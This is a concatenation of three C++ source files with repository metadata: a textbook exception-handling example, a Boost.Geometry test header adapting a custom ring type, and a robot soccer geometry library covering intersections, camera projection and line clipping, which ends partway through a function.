bac87dda156b534298a5c0fae1f77e6470952cb8 | 7c63a96fad4257f4959ffeba0868059fc96566fb | /cpp/std-14/m_gregoire-prof_cpp-3_ed/ch_13-handling_errors/08-throwing_and_catching_multiple_exceptions_2/main.cpp | 21c53baf7fa5ef96a66beec4cf3bc0239d4d3192 | [
"MIT"
] | permissive | ordinary-developer/education | b426148f5690f48e0ed4853adfc3740bd038b72c | 526e5cf86f90eab68063bb7c75744226f2c54b8d | refs/heads/master | 2023-08-31T14:42:37.237690 | 2023-08-30T18:15:18 | 2023-08-30T18:15:18 | 91,232,306 | 8 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,012 | cpp | #include <fstream>
#include <iostream>
#include <vector>
#include <string>
#include <stdexcept>
void readIntegerFile(const std::string& fileName, std::vector<int>& dest) {
std::ifstream istr;
int temp;
istr.open(fileName.c_str());
if (istr.fail()) {
throw std::invalid_argument("Unable to open the file.");
}
while (istr >> temp) {
dest.push_back(temp);
}
if (!istr.eof()) {
throw std::runtime_error("Error reading the file.");
}
}
auto main() -> int {
std::vector<int> myInts;
const std::string& fileName = "IntegerFile.txt";
try {
readIntegerFile(fileName, myInts);
}
catch (const std::invalid_argument& e) {
std::cerr << e.what() << std::endl;
return 1;
}
catch (const std::runtime_error& e) {
std::cerr << e.what() << std::endl;
return 1;
}
for (const auto element: myInts) {
std::cout << element << " ";
}
std::cout << std::endl;
return 0;
}
| [
"merely.ordinary.developer@gmail.com"
] | merely.ordinary.developer@gmail.com |
665f1fb4d68e954c651d570e857df2d3d484cf95 | ed997b3a8723cc9e77787c1d868f9300b0097473 | /libs/geometry/test/test_geometries/all_custom_ring.hpp | c7c2b78df93a967af42a90fcf98537658750c95c | [
"BSL-1.0"
] | permissive | juslee/boost-svn | 7ddb99e2046e5153e7cb5680575588a9aa8c79b2 | 6d5a03c1f5ed3e2b23bd0f3ad98d13ff33d4dcbb | refs/heads/master | 2023-04-13T11:00:16.289416 | 2012-11-16T11:14:39 | 2012-11-16T11:14:39 | 6,734,455 | 0 | 0 | BSL-1.0 | 2023-04-03T23:13:08 | 2012-11-17T11:21:17 | C++ | UTF-8 | C++ | false | false | 3,428 | hpp | // Boost.Geometry (aka GGL, Generic Geometry Library)
// Unit Test
// Copyright (c) 2011-2012 Barend Gehrels, Amsterdam, the Netherlands.
// Use, modification and distribution is subject to the Boost Software License,
// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
#ifndef GEOMETRY_TEST_TEST_GEOMETRIES_ALL_CUSTOM_RING_HPP
#define GEOMETRY_TEST_TEST_GEOMETRIES_ALL_CUSTOM_RING_HPP
#include <cstddef>
#include <boost/range.hpp>
#include <boost/geometry/core/mutable_range.hpp>
#include <boost/geometry/core/tag.hpp>
#include <boost/geometry/core/tags.hpp>
#include <test_geometries/all_custom_container.hpp>
template <typename P>
class all_custom_ring : public all_custom_container<P>
{};
// Note that the things below are nearly all identical to implementation
// in *linestring, but it seems not possible to re-use this (without macro's)
// (the only thing DIFFERENT is the tag)
// 1. Adapt to Boost.Geometry
namespace boost { namespace geometry
{
namespace traits
{
template <typename Point>
struct tag<all_custom_ring<Point> >
{
typedef ring_tag type;
};
// Implement traits for mutable actions
// These are all optional traits (normally / default they are implemented
// conforming std:: functionality)
template <typename Point>
struct clear<all_custom_ring<Point> >
{
static inline void apply(all_custom_ring<Point>& acr)
{
acr.custom_clear();
}
};
template <typename Point>
struct push_back<all_custom_ring<Point> >
{
static inline void apply(all_custom_ring<Point>& acr, Point const& point)
{
acr.custom_push_back(point);
}
};
template <typename Point>
struct resize<all_custom_ring<Point> >
{
static inline void apply(all_custom_ring<Point>& acr, std::size_t new_size)
{
acr.custom_resize(new_size);
}
};
} // namespace traits
}} // namespace boost::geometry
// 2a. Adapt to Boost.Range, meta-functions
namespace boost
{
template<typename Point>
struct range_mutable_iterator<all_custom_ring<Point> >
{
typedef typename all_custom_ring<Point>::custom_iterator_type type;
};
template<typename Point>
struct range_const_iterator<all_custom_ring<Point> >
{
typedef typename all_custom_ring<Point>::custom_const_iterator_type type;
};
} // namespace boost
// 2b. Adapt to Boost.Range, part 2, ADP
template<typename Point>
inline typename all_custom_ring<Point>::custom_iterator_type
range_begin(all_custom_ring<Point>& acr)
{
return acr.custom_begin();
}
template<typename Point>
inline typename all_custom_ring<Point>::custom_const_iterator_type
range_begin(all_custom_ring<Point> const& acr)
{
return acr.custom_begin();
}
template<typename Point>
inline typename all_custom_ring<Point>::custom_iterator_type
range_end(all_custom_ring<Point>& acr)
{
return acr.custom_end();
}
template<typename Point>
inline typename all_custom_ring<Point>::custom_const_iterator_type
range_end(all_custom_ring<Point> const& acr)
{
return acr.custom_end();
}
// (Optional)
template<typename Point>
inline std::size_t range_calculate_size(all_custom_ring<Point> const& acr)
{
return acr.custom_size();
}
#endif // GEOMETRY_TEST_TEST_GEOMETRIES_ALL_CUSTOM_RING_HPP
| [
"barendgehrels@b8fc166d-592f-0410-95f2-cb63ce0dd405"
] | barendgehrels@b8fc166d-592f-0410-95f2-cb63ce0dd405 |
64f9dc2c29a116be518c3cc2d548101119d91a5c | 7d7a25b58f3a8daea540c9e7807569d89946a036 | /Framework/src/Geometry.cpp | 8f7f97a9a7946b8f5a1141063cab4072d7cd19e2 | [] | no_license | HishamLY/Riset_DaHo_2018 | 1be1ac5ebc141add284d25a111baf10886218880 | 437e40d71641c31421fcc31151e8b9b64ebab32f | refs/heads/master | 2021-03-19T15:38:29.268515 | 2018-02-12T16:38:48 | 2018-02-12T16:38:48 | 114,443,913 | 0 | 0 | null | null | null | null | ISO-8859-1 | C++ | false | false | 32,254 | cpp | /**
* @file Math/Geometry.cpp
* Implemets class Geometry
*
* @author <A href=mailto:juengel@informatik.hu-berlin.de>Matthias Jüngel</A>
* @author <a href="mailto:walter.nistico@uni-dortmund.de">Walter Nistico</a>
*/
#include "Geometry.h"
#include <stdio.h>
using namespace Robot;
float Geometry::angleTo(const Pose2D& from,
const Vector2<>& to)
{
Pose2D relPos = Pose2D(to) - from;
return atan2f(relPos.translation.y,relPos.translation.x);
}
float Geometry::distanceTo(const Pose2D& from,
const Vector2<>& to)
{
return (Pose2D(to) - from).translation.abs();
}
Vector2<> Geometry::vectorTo(const Pose2D& from, const Vector2<>& to)
{
return (Pose2D(to) - from).translation;
}
Vector2<> Geometry::rotate(const Vector2<>& v, float a)
{
Vector2<> rV;
float cos_a(cosf(a));
float sin_a(sinf(a));
rV.x = cos_a*v.x - sin_a*v.y;
rV.y = sin_a*v.x + cos_a*v.y;
return rV;
}
Vector2<int> Geometry::rotate(const Vector2<int>& v, float a)
{
Vector2<int> rV;
float cos_a(cosf(a));
float sin_a(sinf(a));
rV.x = static_cast<int>(cos_a*v.x - sin_a*v.y);
rV.y = static_cast<int>(sin_a*v.x + cos_a*v.y);
return rV;
}
void Geometry::Line::normalizeDirection()
{
float distance = sqrtf(sqr(direction.x) + sqr(direction.y));
direction.x = direction.x / distance;
direction.y = direction.y / distance;
}
Geometry::Circle Geometry::getCircle
(
const Vector2<int>& point1,
const Vector2<int>& point2,
const Vector2<int>& point3
)
{
float x1 = (float) point1.x;
float y1 = (float) point1.y;
float x2 = (float) point2.x;
float y2 = (float) point2.y;
float x3 = (float) point3.x;
float y3 = (float) point3.y;
Circle circle;
if((x2*y1 - x3*y1 - x1*y2 + x3*y2 + x1*y3 - x2*y3 == 0) )
{
circle.radius = 0;
}
else
{
circle.radius =
0.5f *
sqrtf(
( (sqr(x1 - x2) + sqr(y1 - y2) ) *
(sqr(x1 - x3) + sqr(y1 - y3) ) *
(sqr(x2 - x3) + sqr(y2 - y3) )
)
/
sqr(x2*y1 - x3*y1 - x1*y2 + x3*y2 + x1*y3 - x2*y3)
);
}
if( (2 * (-x2*y1 + x3*y1 + x1*y2 - x3*y2 - x1*y3 + x2*y3) == 0) )
{
circle.center.x = 0;
}
else
{
circle.center.x =
(
sqr(x3) * (y1 - y2) +
(sqr(x1) + (y1 - y2) * (y1 - y3)) * (y2 - y3) +
sqr(x2) * (-y1 + y3)
)
/
(2 * (-x2*y1 + x3*y1 + x1*y2 - x3*y2 - x1*y3 + x2*y3) );
}
if((2 * (x2*y1 - x3*y1 - x1*y2 + x3*y2 + x1*y3 - x2*y3) == 0) )
{
circle.center.y = 0;
}
else
{
circle.center.y =
(
sqr(x1) * (x2 - x3) +
sqr(x2) * x3 +
x3*(-sqr(y1) + sqr(y2) ) -
x2*(+sqr(x3) - sqr(y1) + sqr(y3) ) +
x1*(-sqr(x2) + sqr(x3) - sqr(y2) + sqr(y3) )
)
/
(2 * (x2*y1 - x3*y1 - x1*y2 + x3*y2 + x1*y3 - x2*y3) );
}
return circle;
}
bool Geometry::getIntersectionOfLines
(
const Line& line1,
const Line& line2,
Vector2<int>& intersection
)
{
Vector2<> intersectionDouble;
bool toReturn = getIntersectionOfLines(line1,line2,intersectionDouble);
intersection.x = (int)intersectionDouble.x;
intersection.y = (int)intersectionDouble.y;
return toReturn;
}
bool Geometry::getIntersectionOfLines
(
const Line& line1,
const Line& line2,
Vector2<>& intersection
)
{
if(line1.direction.y * line2.direction.x == line1.direction.x * line2.direction.y)
{
return false;
}
intersection.x =
line1.base.x +
line1.direction.x *
(
line1.base.y * line2.direction.x -
line2.base.y * line2.direction.x +
(-line1.base.x + line2.base.x) * line2.direction.y
)
/
( (-line1.direction.y) * line2.direction.x + line1.direction.x * line2.direction.y );
intersection.y =
line1.base.y +
line1.direction.y *
(
-line1.base.y * line2.direction.x +
line2.base.y * line2.direction.x +
(line1.base.x - line2.base.x) * line2.direction.y
)
/
(line1.direction.y * line2.direction.x - line1.direction.x * line2.direction.y);
return true;
}
int Geometry::getIntersectionOfCircles(
const Circle &c0,
const Circle &c1,
Vector2<> &p1,
Vector2<> &p2
)
{
float a, dx, dy, d, h, rx, ry;
float x2, y2;
/* dx and dy are the vertical and horizontal distances between
* the circle centers.
*/
dx = c1.center.x - c0.center.x;
dy = c1.center.y - c0.center.y;
/* Determine the straight-line distance between the centers. */
d = sqrtf((dy*dy) + (dx*dx));
/* Check for solvability. */
if (d > (c0.radius + c1.radius))
{
/* no solution. circles do not intersect. */
return 0;
}
if (d < fabs(c0.radius - c1.radius))
{
/* no solution. one circle is contained in the other */
return 0;
}
/* 'point 2' is the point where the line through the circle
* intersection points crosses the line between the circle
* centers.
*/
/* Determine the distance from point 0 to point 2. */
a = ((c0.radius * c0.radius) - (c1.radius * c1.radius) + (d * d)) / (2.0f * d) ;
/* Determine the coordinates of point 2. */
x2 = c0.center.x + (dx * a/d);
y2 = c0.center.y + (dy * a/d);
/* Determine the distance from point 2 to either of the
* intersection points.
*/
h = sqrtf((c0.radius * c0.radius) - (a*a));
/* Now determine the offsets of the intersection points from
* point 2.
*/
rx = -dy * (h/d);
ry = dx * (h/d);
/* Determine the absolute intersection points. */
p1.x = x2 + rx;
p2.x = x2 - rx;
p1.y = y2 + ry;
p2.y = y2 - ry;
return 1;
}
int Geometry::getIntersectionOfLineAndCircle(
const Line& line,
const Circle& circle,
Vector2<>& firstIntersection,
Vector2<>& secondIntersection
)
{
/* solves the following system of equations:
*
* (x - x_m)^2 + (y - y_m)^2 = r^2
* p + l * v = [x, y]
*
* where [x_m, y_m] is the center of the circle,
* p is line.base and v is line.direction and
* [x, y] is an intersection point.
* Solution was found with the help of maple.
*/
const float divisor = line.direction.squareAbs();
const float p = 2 * (line.base * line.direction - circle.center * line.direction) / divisor;
const float q = ((line.base - circle.center).sqr() - sqr(circle.radius)) / divisor;
const float p_2 = p / 2.0f;
const float radicand = sqr(p_2) - q;
if(radicand < 0)
{
return 0;
}
else
{
const float radix = sqrtf(radicand);
firstIntersection = line.base + line.direction * (-p_2 + radix);
secondIntersection = line.base + line.direction * (-p_2 - radix);
return radicand == 0 ? 1 : 2;
}
}
bool Geometry::getIntersectionOfRaysFactor
(
const Line& ray1,
const Line& ray2,
float& factor
)
{
float divisor = ray2.direction.x * ray1.direction.y - ray1.direction.x * ray2.direction.y;
if(divisor==0)
{
return false;
}
float k=(ray2.direction.y*ray1.base.x - ray2.direction.y*ray2.base.x - ray2.direction.x*ray1.base.y + ray2.direction.x*ray2.base.y)/divisor;
float l=(ray1.direction.y*ray1.base.x - ray1.direction.y*ray2.base.x - ray1.direction.x*ray1.base.y + ray1.direction.x*ray2.base.y)/divisor;
if ((k>=0)&&(l>=0)&&(k<=1)&&(l<=1))
{
factor=k;
return true;
}
return false;
}
float Geometry::getDistanceToLine
(
const Line& line,
const Vector2<>& point
)
{
if (line.direction.x == 0 && line.direction.y == 0)
return distance(point, line.base);
Vector2<> normal;
normal.x = line.direction.y;
normal.y = -line.direction.x;
normal.normalize();
float c = normal * line.base;
return normal * point - c;
}
float Geometry::getDistanceToEdge
(
const Line& line,
const Vector2<>& point
)
{
if (line.direction.x == 0 && line.direction.y == 0)
return distance(point, line.base);
float c = line.direction * line.base;
float d = (line.direction * point - c) / (line.direction * line.direction);
if (d < 0)
return distance(point, line.base);
else if (d > 1.0f)
return distance(point, line.base + line.direction);
else
return fabs(getDistanceToLine(line, point));
}
float Geometry::distance
(
const Vector2<>& point1,
const Vector2<>& point2
)
{
return (point2 - point1).abs();
}
float Geometry::distance
(
const Vector2<int>& point1,
const Vector2<int>& point2
)
{
return (float) (point2 - point1).abs();
}
void Geometry::calculateAnglesForPoint
(
const Vector2<>& point,
const CameraMatrix& cameraMatrix,
//const CameraInfo& cameraInfo,
Vector2<>& angles
)
{
float factor = float(Camera::focalLength);
Vector3<> vectorToPoint(
factor,
Camera::WIDTH/2 - point.x,
Camera::HEIGHT/2 - point.y);
Vector3<> vectorToPointWorld =
cameraMatrix.rotation * vectorToPoint;
angles.x =
atan2f(vectorToPointWorld.y,vectorToPointWorld.x);
angles.y =
atan2f(
vectorToPointWorld.z,
sqrtf(sqr(vectorToPointWorld.x) + sqr(vectorToPointWorld.y))
);
}
bool Geometry::calculatePointByAngles
(
const Vector2<>& angles,
const CameraMatrix& cameraMatrix,
//const CameraInfo& cameraInfo,
Vector2<int>& point
)
{
Vector3<> vectorToPointWorld, vectorToPoint;
vectorToPointWorld.x = (float) cosf(angles.x);
vectorToPointWorld.y = (float) sinf(angles.x);
vectorToPointWorld.z = (float) tanf(angles.y);
RotationMatrix rotationMatrix = cameraMatrix.rotation;
vectorToPoint = rotationMatrix.invert() * vectorToPointWorld;
float factor = Camera::focalLength;
float scale = factor / vectorToPoint.x;
point.x = (int)(0.5f + Camera::WIDTH/2 - vectorToPoint.y * scale);
point.y = (int)(0.5f + Camera::HEIGHT/2 - vectorToPoint.z * scale);
return vectorToPoint.x > 0;
}
bool Geometry::clipLineWithQuadrangle
(
const Line& lineToClip,
const Vector2<>& corner0,
const Vector2<>& corner1,
const Vector2<>& corner2,
const Vector2<>& corner3,
Vector2<int>& clipPoint1,
Vector2<int>& clipPoint2
)
{
Vector2<> point1, point2;
bool toReturn = clipLineWithQuadrangle(
lineToClip,
corner0, corner1, corner2, corner3,
point1, point2);
clipPoint1.x = (int)point1.x;
clipPoint1.y = (int)point1.y;
clipPoint2.x = (int)point2.x;
clipPoint2.y = (int)point2.y;
return toReturn;
}
bool Geometry::clipLineWithQuadrangle
(
const Line& lineToClip,
const Vector2<>& corner0,
const Vector2<>& corner1,
const Vector2<>& corner2,
const Vector2<>& corner3,
Vector2<>& clipPoint1,
Vector2<>& clipPoint2
)
{
Geometry::Line side[4] , verticalLine;
verticalLine.base = lineToClip.base;
verticalLine.direction.x = -lineToClip.direction.y;
verticalLine.direction.y = lineToClip.direction.x;
Vector2<> corner[4];
corner[0] = corner0;
corner[1] = corner1;
corner[2] = corner2;
corner[3] = corner3;
side[0].base = corner0;
side[0].direction = corner1;
side[1].base = corner1;
side[1].direction = corner3;
side[2].base = corner2;
side[2].direction = corner1;
side[3].base = corner3;
side[3].direction = corner3;
Vector2<> point1, point2, point;
bool nextIsPoint1 = true;
/*
for(int i = 0; i < 4; i++)
{
if(Geometry::getIntersectionOfLines(side[i], lineToClip, point))
{
if(nextIsPoint1 && sign(point.x - corner[i]) != sign(point.x - corner[(i+1)%4])
)
{
point1 = point;
nextIsPoint1 = false;
}
else
point2 = point;
};
}*/
if(Geometry::getIntersectionOfLines(side[0], lineToClip, point))
{
if(corner[0].x < point.x && point.x < corner[1].x)
{
if(nextIsPoint1)
{
point1 = point;
nextIsPoint1 = false;
}
}
}
if(Geometry::getIntersectionOfLines(side[1], lineToClip, point))
{
if(corner[1].y < point.y && point.y < corner[2].y)
{
if(nextIsPoint1)
{
point1 = point;
nextIsPoint1 = false;
}
else
point2 = point;
}
}
if(Geometry::getIntersectionOfLines(side[2], lineToClip, point))
{
if(corner[2].x > point.x && point.x > corner[3].x)
{
if(nextIsPoint1)
{
point1 = point;
nextIsPoint1 = false;
}
else
point2 = point;
}
}
if(Geometry::getIntersectionOfLines(side[3], lineToClip, point))
{
if(corner[3].y > point.y && point.y > corner[0].y)
{
if(nextIsPoint1)
{
point1 = point;
nextIsPoint1 = false;
}
else
point2 = point;
}
}
if(nextIsPoint1)
return false;
if(getDistanceToLine(verticalLine, point1) < getDistanceToLine(verticalLine, point2) )
{
clipPoint1 = point1;
clipPoint2 = point2;
}
else
{
clipPoint1 = point2;
clipPoint2 = point1;
}
return true;
}
bool Geometry::isPointInsideRectangle
(
const Vector2<>& bottomLeftCorner,
const Vector2<>& topRightCorner,
const Vector2<>& point
)
{
return(
bottomLeftCorner.x <= point.x && point.x <= topRightCorner.x &&
bottomLeftCorner.y <= point.y && point.y <= topRightCorner.y
);
}
bool Geometry::isPointInsideRectangle
(
const Vector2<int>& bottomLeftCorner,
const Vector2<int>& topRightCorner,
const Vector2<int>& point
)
{
return(
bottomLeftCorner.x <= point.x && point.x <= topRightCorner.x &&
bottomLeftCorner.y <= point.y && point.y <= topRightCorner.y
);
}
int Geometry::ccw(const Vector2<>& p0, const Vector2<>& p1, const Vector2<>& p2)
{
float dx1(p1.x - p0.x);
float dy1(p1.y - p0.y);
float dx2(p2.x - p0.x);
float dy2(p2.y - p0.y);
if(dx1*dy2 > dy1*dx2)
return 1;
if(dx1*dy2 < dy1*dx2)
return -1;
// Now (dx1*dy2 == dy1*dx2) must be true:
if((dx1*dx2 < 0.0f) || (dy1*dy2 < 0.0f))
return -1;
if((dx1*dx1 + dy1*dy1) >= (dx2*dx2 + dy2*dy2))
return 0;
return 1;
}
bool Geometry::isPointInsideConvexPolygon(
const Vector2<> polygon[],
const int numberOfPoints,
const Vector2<>& point)
{
int orientation(ccw(polygon[0], polygon[1], point));
if(orientation == 0)
return true;
for(int i=1; i<numberOfPoints; i++)
{
int currentOrientation(ccw(polygon[i], polygon[(i+1) % numberOfPoints], point));
if(currentOrientation == 0)
return true;
if(currentOrientation != orientation)
return false;
}
return true;
}
bool Geometry::checkIntersectionOfLines(
const Vector2<>& l1p1,
const Vector2<>& l1p2,
const Vector2<>& l2p1,
const Vector2<>& l2p2)
{
return (((ccw(l1p1, l1p2, l2p1) * ccw(l1p1,l1p2,l2p2)) <= 0)
&& ((ccw(l2p1, l2p2, l1p1) * ccw(l2p1,l2p2,l1p2)) <= 0));
}
bool Geometry::clipPointInsideRectangle(
const Vector2<int>& bottomLeftCorner,
const Vector2<int>& topRightCorner,
Vector2<int>& point
)
{
bool clipped = false;
if (point.x < bottomLeftCorner.x)
{
point.x = bottomLeftCorner.x;
clipped = true;
}
if (point.x > topRightCorner.x)
{
point.x = topRightCorner.x;
clipped = true;
}
if (point.y < bottomLeftCorner.y)
{
point.y = bottomLeftCorner.y;
clipped = true;
}
if (point.y > topRightCorner.y)
{
point.y = topRightCorner.y;
clipped = true;
}
return clipped;
}
bool Geometry::clipPointInsideRectangle(
const Vector2<int>& bottomLeftCorner,
const Vector2<int>& topRightCorner,
Vector2<>& point
)
{
bool clipped = false;
if (point.x < bottomLeftCorner.x)
{
point.x = (float)bottomLeftCorner.x;
clipped = true;
}
if (point.x > topRightCorner.x)
{
point.x = (float)topRightCorner.x;
clipped = true;
}
if (point.y < bottomLeftCorner.y)
{
point.y = (float)bottomLeftCorner.y;
clipped = true;
}
if (point.y > topRightCorner.y)
{
point.y = (float)topRightCorner.y;
clipped = true;
}
return clipped;
}
bool Geometry::calculatePointOnFieldHacked
(
const int x,
const int y,
const CameraMatrix& cameraMatrix,
//const CameraInfo& cameraInfo,
Vector2<>& pointOnField
)
{
#ifdef TARGET_ROBOT // don't recalculate on real robot
static
#endif
float xFactor = Camera::focalLengthInv,
yFactor = Camera::focalLengthInv;
Vector3<>
vectorToCenter(1, float(Camera::WIDTH/2 - x) * xFactor, float(Camera::HEIGHT/2 - y) * yFactor);
Vector3<>
vectorToCenterWorld = cameraMatrix.rotation * vectorToCenter;
//Is the point above the horizon ? - return
if(vectorToCenterWorld.z > -5 * yFactor) return false;
float a1 = cameraMatrix.translation.x,
a2 = cameraMatrix.translation.y,
a3 = cameraMatrix.translation.z,
b1 = vectorToCenterWorld.x,
b2 = vectorToCenterWorld.y,
b3 = vectorToCenterWorld.z,
f = a3 / b3;
//printf("cameramatrix translation x,y,z = %f,%f,%f\n",a1,a2,a3);
pointOnField.x = a1 - f * b1;
pointOnField.y = a2 - f * b2;
//return fabs(pointOnField.x) < 10000 && fabs(pointOnField.y) < 10000;
return true;
}
bool Geometry::calculatePointOnField
(
const int x,
const int y,
const CameraMatrix& cameraMatrix,
//const CameraInfo& cameraInfo,
Vector2<>& pointOnField
)
{
#ifdef TARGET_ROBOT // don't recalculate on real robot
static
#endif
float xFactor = Camera::focalLengthInv,
yFactor = Camera::focalLengthInv;
//vector from camera coordinate to a point in image plane
Vector3<>
vectorToCenter(1, float(Camera::WIDTH/2 - x) * xFactor, float(Camera::HEIGHT/2 - y) * yFactor);
Vector3<>
vectorToCenterWorld = cameraMatrix.rotation * vectorToCenter;
//Is the point above the horizon ? - return
if(vectorToCenterWorld.z > -5 * yFactor)
{
return false;
}
float a1 = cameraMatrix.translation.x,
a2 = cameraMatrix.translation.y,
a3 = cameraMatrix.translation.z ,
b1 = vectorToCenterWorld.x,
b2 = vectorToCenterWorld.y,
b3 = vectorToCenterWorld.z,
f = a3 / b3;
pointOnField.x = a1 - f * b1;
pointOnField.y = a2 - f * b2;
return fabs(pointOnField.x) < 10000 && fabs(pointOnField.y) < 10000;
}
bool Geometry::calculatePointOnField(const Vector2<>& point, const CameraMatrix& cameraMatrix,
//const CameraInfo& cameraInfo,
Vector2<>& pointOnField)
{
Vector3<> vectorToCenter(1, float(Camera::WIDTH/2 - point.x) * Camera::focalLengthInv, float(Camera::HEIGHT/2 - point.y) * Camera::focalLengthInv);
Vector3<> vectorToCenterWorld = cameraMatrix.rotation * vectorToCenter;
//Is the point above the horizon ? - return
if(vectorToCenterWorld.z > -5 * Camera::focalLengthInv) return false;
float a1 = cameraMatrix.translation.x,
a2 = cameraMatrix.translation.y,
a3 = cameraMatrix.translation.z ,
b1 = vectorToCenterWorld.x,
b2 = vectorToCenterWorld.y,
b3 = vectorToCenterWorld.z,
f = a3 / b3;
pointOnField.x = a1 - f * b1;
pointOnField.y = a2 - f * b2;
return fabs(pointOnField.x) < 10000 && fabs(pointOnField.y) < 10000;
}
bool Geometry::calculatePointOnField(const Vector2<>& image,
const float& fieldZ, const CameraMatrix& cameraMatrix,
//const CameraInfo& cameraInfo,
Vector3<>& field)
{
Vector3<> unscaledCamera(Camera::focalLength, float(Camera::WIDTH/2 - image.x), float(Camera::HEIGHT/2 - image.y));
const Vector3<> unscaledField(cameraMatrix.rotation * unscaledCamera);
if(fieldZ < cameraMatrix.translation.z)
{
if(unscaledField.z > 0) return false;
}
else
{
if(unscaledField.z < 0) return false;
}
const float scale((cameraMatrix.translation.z - (float) fieldZ) / unscaledField.z);
field.x = cameraMatrix.translation.x - scale * unscaledField.x;
field.y = cameraMatrix.translation.y - scale * unscaledField.y;
field.z = (float) fieldZ;
return true;
}
bool Geometry::calculatePointInImage
(
const Vector2<int>& point,
const CameraMatrix& cameraMatrix,
// const CameraInfo& cameraInfo,
Vector2<int>& pointInImage
)
{
Vector2<> offset(point.x - cameraMatrix.translation.x,
point.y - cameraMatrix.translation.y);
return calculatePointByAngles(
Vector2<>(atan2f(offset.y,offset.x),
-atan2f(cameraMatrix.translation.z,offset.abs())),
cameraMatrix,
pointInImage
);
}
bool Geometry::getIntersectionPointsOfLineAndRectangle(
const Vector2<int>& bottomLeft,
const Vector2<int>& topRight,
const Geometry::Line line,
Vector2<int>& point1,
Vector2<int>& point2
)
{
int foundPoints=0;
Vector2<> point[2];
if (line.direction.x!=0)
{
float y1=line.base.y+(bottomLeft.x-line.base.x)*line.direction.y/line.direction.x;
if ((y1>=bottomLeft.y)&&(y1<=topRight.y))
{
point[foundPoints].x=(float) bottomLeft.x;
point[foundPoints++].y=y1;
}
float y2=line.base.y+(topRight.x-line.base.x)*line.direction.y/line.direction.x;
if ((y2>=bottomLeft.y)&&(y2<=topRight.y))
{
point[foundPoints].x=(float) topRight.x;
point[foundPoints++].y=y2;
}
}
if (line.direction.y!=0)
{
float x1=line.base.x+(bottomLeft.y-line.base.y)*line.direction.x/line.direction.y;
if ((x1>=bottomLeft.x)&&(x1<=topRight.x)&&(foundPoints<2))
{
point[foundPoints].x=x1;
point[foundPoints].y=(float) bottomLeft.y;
if ((foundPoints==0)||((point[0]-point[1]).abs()>0.1))
{
foundPoints++;
}
}
float x2=line.base.x+(topRight.y-line.base.y)*line.direction.x/line.direction.y;
if ((x2>=bottomLeft.x)&&(x2<=topRight.x)&&(foundPoints<2))
{
point[foundPoints].x=x2;
point[foundPoints].y=(float) topRight.y;
if ((foundPoints==0)||((point[0]-point[1]).abs()>0.1))
{
foundPoints++;
}
}
}
switch (foundPoints)
{
case 1:
point1.x=(int)point[0].x;
point2.x=point1.x;
point1.y=(int)point[0].y;
point2.y=point1.y;
foundPoints++;
return true;
case 2:
if ((point[1]-point[0])*line.direction >0)
{
point1.x=(int)point[0].x;
point1.y=(int)point[0].y;
point2.x=(int)point[1].x;
point2.y=(int)point[1].y;
}
else
{
point1.x=(int)point[1].x;
point1.y=(int)point[1].y;
point2.x=(int)point[0].x;
point2.y=(int)point[0].y;
}
return true;
default:
return false;
}
}
#define CLIPLEFT 1 // 0001
#define CLIPRIGHT 2 // 0010
#define CLIPLOWER 4 // 0100
#define CLIPUPPER 8 // 1000
bool Geometry::clipLineWithRectangleCohenSutherland
(
const Vector2<int>& topLeft,
const Vector2<int>& bottomRight,
Vector2<int>& point1,
Vector2<int>& point2
)
{
int K1=0,K2=0;
int dx,dy;
dx=point2.x-point1.x;
dy=point2.y-point1.y;
if(point1.y<topLeft.y) K1 = CLIPLOWER;
if(point1.y>bottomRight.y) K1 = CLIPUPPER;
if(point1.x<topLeft.x) K1 |= CLIPLEFT;
if(point1.x>bottomRight.x) K1 |= CLIPRIGHT;
if(point2.y<topLeft.y) K2 = CLIPLOWER;
if(point2.y>bottomRight.y) K2 = CLIPUPPER;
if(point2.x<topLeft.x) K2 |= CLIPLEFT;
if(point2.x>bottomRight.x) K2 |= CLIPRIGHT;
while(K1 || K2)
{
if(K1 & K2)
return false;
if(K1)
{
if(K1 & CLIPLEFT)
{
point1.y+=(topLeft.x-point1.x)*dy/dx;
point1.x=topLeft.x;
}
else if(K1 & CLIPRIGHT)
{
point1.y+=(bottomRight.x-point1.x)*dy/dx;
point1.x=bottomRight.x;
}
if(K1 & CLIPLOWER)
{
point1.x+=(topLeft.y-point1.y)*dx/dy;
point1.y=topLeft.y;
}
else if(K1 & CLIPUPPER)
{
point1.x+=(bottomRight.y-point1.y)*dx/dy;
point1.y=bottomRight.y;
}
K1 = 0;
if(point1.y<topLeft.y) K1 = CLIPLOWER;
if(point1.y>bottomRight.y) K1 = CLIPUPPER;
if(point1.x<topLeft.x) K1 |= CLIPLEFT;
if(point1.x>bottomRight.x) K1 |= CLIPRIGHT;
}
if(K1 & K2)
return false;
if(K2)
{
if(K2 & CLIPLEFT)
{
point2.y+=(topLeft.x-point2.x)*dy/dx;
point2.x=topLeft.x;
}
else if(K2 & CLIPRIGHT)
{
point2.y+=(bottomRight.x-point2.x)*dy/dx;
point2.x=bottomRight.x;
}
if(K2 & CLIPLOWER)
{
point2.x+=(topLeft.y-point2.y)*dx/dy;
point2.y=topLeft.y;
}
else if(K2 & CLIPUPPER)
{
point2.x+=(bottomRight.y-point2.y)*dx/dy;
point2.y=bottomRight.y;
}
K2 = 0;
if(point2.y<topLeft.y) K2 = CLIPLOWER;
if(point2.y>bottomRight.y) K2 = CLIPUPPER;
if(point2.x<topLeft.x) K2 |= CLIPLEFT;
if(point2.x>bottomRight.x) K2 |= CLIPRIGHT;
}
}
return true;
}
int Geometry::intersection(int a1, int b1, int a2, int b2, int value)
{
int result = 0 ;
if ( a2 - a1 != 0 )
result = (int) (b1 +(float) (value-a1) / (a2-a1) * (b2-b1));
else
result = 32767;
return(result);
}
Vector2<> Geometry::relative2FieldCoord(const Pose2D& rp, float x, float y)
{
return rp * Vector2<>(x,y);
}
Vector2<> Geometry::relative2FieldCoord(const Pose2D& rp, const Vector2<>& relPosOnField)
{
return rp * relPosOnField;
}
Vector2<> Geometry::fieldCoord2Relative(const Pose2D& robotPose, const Vector2<>& fieldCoord)
{
Vector2<> relativeCoord;
float distance = Geometry::distanceTo(robotPose, fieldCoord);
float angle = Geometry::angleTo(robotPose, fieldCoord);
relativeCoord.x = distance * cosf(angle);
relativeCoord.y = distance * sinf(angle);
return relativeCoord;
}
bool Geometry::calculateBallInImage(const Vector2<>& ballOffset,
const CameraMatrix& cameraMatrix,
//const CameraInfo& cameraInfo,
float ballRadius, Circle& circle)
{
